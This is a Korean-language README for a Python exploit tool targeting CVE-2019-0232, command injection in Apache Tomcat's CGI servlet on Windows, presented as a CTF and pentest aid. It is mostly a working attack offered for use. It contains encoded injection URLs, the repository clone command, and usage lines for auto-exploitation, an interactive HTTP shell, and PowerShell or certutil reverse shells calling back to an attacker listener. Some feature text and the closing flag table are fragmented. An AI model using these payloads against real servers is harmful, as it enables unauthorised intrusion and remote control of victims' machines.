
Apache Tomcat CGI Servlet 원격 코드 실행 (Windows)
공인된 CTF / 침투 테스트용 교육 PoC입니다.
소유하지 않았거나 명시적 서면 허가를 받지 않은 시스템에 대해 이 도구를 실행하는 것은 불법입니다.
CVE-2019-0232는 Windows의 Apache Tomcat에서 발생하는 원격 코드 실행 취약점입니다.
CGI 서블릿에 enableCmdLineArguments=true(패치 전 Windows의 기본값)가 설정된 경우, Tomcat은 HTTP 쿼리 문자열을 Runtime.exec()를 통해 CGI 배치 파일에 명령줄 인수로 직접 전달합니다. Windows에서 Runtime.exec()는 호출을 cmd.exe /c로 래핑하여 인수 내에서 & 명령 구분자가 활성화됩니다.
공격자는 URL에 &(URL 인코딩: %26)를 포함하여 두 번째 OS 명령을 주입할 수 있습니다:
GET /cgi-bin/cmd.bat?%26whoami HTTP/1.1
# Tomcat URL-decodes → cmd.exe /c cmd.bat &whoami
# cmd.exe sees the & and runs whoami after cmd.bat exits
| 브랜치 | 취약 범위 | 수정 버전 |
|---|---|---|
| 9.0.x | 9.0.0.M1 – 9.0.17 | 9.0.18 |
| 8.5.x | 8.5.0 – 8.5.39 | 8.5.40 |
| 7.0.x | 7.0.0 – 7.0.93 | 7.0.94 |
요구 사항: conf/web.xml에서 enableCmdLineArguments=true 설정 (패치 전 Windows 기본값).
-w)--cmd)certutil 스테이저 (대체)System32, Windows, Wbem, PowerShell을 설정하여 whoami, ipconfig, netstat, powershell.exe가 전체 경로 없이 작동2>&1이 자동으로 추가되어 오류 출력도 확인 가능git clone https://github.com/blackjuker2/CVE-2019-0232.git
cd CVE-2019-0232
pip install -r requirements.txt
Python 3.8+ 필요.
python3 cve_2019_0232.py -t <TARGET_URL> [options]
자동 모드 — 스크립트가 모든 것을 자동으로 찾습니다:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto
알려진 엔드포인트에서 단일 명령 실행:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami
대화형 셸 루프:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive
전체 자동 체인 → 리버스 셸 (별도의 nc 불필요):
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto --reverse-shell --lhost 10.10.14.x --lport 4444
스크립트는 --lport에 자체 TCP 리스너를 열고 PowerShell 페이로드를 실행한 후, 대상이 콜백하면 대화형 셸로 전환됩니다.
알려진 경로에서 PowerShell 리버스 셸:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444
certutil 스테이저 (PowerShell이 차단된 경우):
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444 --shell-method certutil
퍼징용 사용자 정의 워드리스트:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --fuzz -w /usr/share/dirb/wordlists/common.txt
파일 확장자가 없는 항목은 자동으로 .bat와 .cmd 모두 시도됩니다.
Burp Suite를 통한 라우팅:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami --proxy http://127.0.0.1:8080
각 요청 전에 원시 주입 URL 표시:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive --show-url
위치 / 필수:
-t, --target URL 대상 기본 URL 예: http://10.10.10.x:8080
경로:
-p, --path PATH 알려진 CGI 스크립트 경로 예: /cgi/cmd.bat
모드:
--auto 전체 체인: 열거 → 퍼징 → 대화형
--enum Tomcat 버전 및 CGI 경로 열거
--fuzz 접근 가능한 CGI 스크립트 엔드포인트 퍼징
--cmd COMMAND 단일 명령을 실행하고 출력 표시
--interactive 대화형 명령 루프 (HTTP 셸)
--reverse-shell PowerShell 리버스 셸 전송
리버스 셸:
--lhost IP 리스너 IP (HTB/OSCP에서는 tun0 사용)
--lport PORT 리스너 포트 (기본값: 4444)
--shell-method {ps,certutil}
페이로드 유형: ps (기본값) 또는 certutil 스테이저
옵션:
-w, --wordlist FILE 추가 CGI 이름 퍼징용 (한 줄에 하나)
--threads N 퍼징 스레드 수 (기본값: 15)
--timeout N HTTP 타임아웃 (초) (기본값: 10)
--proxy URL HTTP 프록시 예: http://127.0.0.1:8080
--no-ssl-verify TLS 인증서 검증 비활성화
--show-url 각 요청 전에 전체 주입 URL 출력
스크립트는 다음 세 단계로 주입 URL을 구성합니다:
PATH 주입 — 먼저 PATH를 설정하는 그룹으로 명령을 래핑합니다:
(SET PATH=C:\Windows\System32;C:\Windows;...&echo.&<your command> 2>&1)
echo.는 빈 줄을 출력하여 Tomcat의 CGI 헤더 파서를 만족시키므로 응답 본문이 표시됩니다.
URL 인코딩 — 공백은 +가 되고, 특수 문자는 urllib.parse.quote를 통해 %XX가 됩니다.
주입 지점 — 인코딩된 그룹이 %26 (& 구분자) 뒤에 배치됩니다:
/cgi/cmd.bat?%26(SET+PATH=...%26echo.%26whoami+2>%261)
이 도구는 교육 목적 및 승인된 보안 테스트용으로만 제공됩니다.
저자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다.
항상 시스템 테스트 전에 명시적인 서면 허가를 받으십시오.
--proxy http://127.0.0.1:8080를 통해 트래픽 라우팅| 플래그 | 설명 |
|---|
--auto | 열거 → 퍼징 → 대화형 셸 진입 |
--enum | Tomcat 버전 및 CGI 경로 열거 |
--fuzz | 접근 가능한 .bat/.cmd 엔드포인트 퍼징 |
--cmd COMMAND | 단일 명령 실행 |
--interactive | 대화형 HTTP 셸 루프 |
--reverse-shell | 리버스 셸 실행 (--lhost 필요) |